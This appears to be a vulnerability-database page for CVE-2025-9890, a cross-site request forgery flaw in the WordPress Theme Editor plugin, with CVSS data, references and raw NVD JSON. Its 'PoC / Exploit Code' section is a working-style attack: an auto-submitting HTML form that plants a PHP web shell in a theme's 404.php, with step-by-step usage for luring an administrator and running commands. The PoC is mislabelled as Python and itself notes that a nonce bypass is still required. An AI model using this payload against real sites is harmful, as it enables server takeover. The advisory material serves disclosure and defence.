CVE-2025-9890

Description

The Theme Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0. This is due to missing or incorrect nonce validation on the 'theme_editor_theme' page. This makes it possible for unauthenticated attackers to achieve remote code execution via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Theme Editor插件 <= 3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-9890 CSRF to RCE PoC -->
<!-- This PoC demonstrates how an unauthenticated attacker can exploit CSRF vulnerability in WordPress Theme Editor plugin to achieve Remote Code Execution -->

<html>
<head>
    <title>CVE-2025-9890 - Theme Editor CSRF to RCE</title>
</head>
<body>
    <h1>CVE-2025-9890 Exploit PoC</h1>
    <!-- 
        The attacker hosts this page on a malicious server.
        When a logged-in WordPress admin visits this page,
        the form auto-submits and modifies a theme file with
        a web shell, achieving RCE.
    -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php?page=theme_editor_theme" method="POST" enctype="multipart/form-data">
        <!-- Target theme file to overwrite -->
        <input type="hidden" name="theme_file" value="/var/www/html/wp-content/themes/twentytwentyone/404.php" />
        
        <!-- Malicious PHP payload (web shell) -->
        <input type="hidden" name="theme_content" value="<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>" />
        
        <!-- Action to save the theme file -->
        <input type="hidden" name="action" value="save" />
    </form>

    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf-form').submit();
    </script>

    <!-- Alternative method using img tag for simpler exploitation -->
    <!-- <img src="http://target-wordpress-site.com/wp-admin/admin.php?page=theme_editor_theme&action=save&theme_file=404.php&theme_content=<?php system($_GET['cmd']); ?>" /> -->
</body>
</html>

<!-- 
Usage:
1. Host this HTML on an attacker-controlled server
2. Trick a logged-in WordPress administrator into visiting this page
3. Once the admin's browser submits the form, the 404.php template file is overwritten with a web shell
4. Access the web shell at: http://target-wordpress-site.com/wp-content/themes/twentytwentyone/404.php?cmd=id
5. Execute arbitrary commands on the server

Note: This is a proof-of-concept for educational purposes only.
Actual exploitation requires the nonce bypass confirmed in the vulnerability.
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9890
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9890
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9890/
[4] VulDB https://vuldb.com/cve/CVE-2025-9890
[5] https://plugins.trac.wordpress.org/browser/theme-editor/trunk/app/controller/theme_controller.php#L87
[6] https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3379404%40theme-editor&new=3379404%40theme-editor&sfp_email=&sfph_mail=
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/77189684-b794-41a0-8fc0-3320032c2f69?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9890", "sourceIdentifier": "[email protected]", "published": "2025-10-18T09:15:34.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Theme Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0. This is due to missing or incorrect nonce validation on the 'theme_editor_theme' page. This makes it possible for unauthenticated attackers to achieve remote code execution via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/theme-editor/trunk/app/controller/theme_controller.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3379404%40theme-editor&new=3379404%40theme-editor&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/77189684-b794-41a0-8fc0-3320032c2f69?source=cve", "source": "[email protected]"}]}}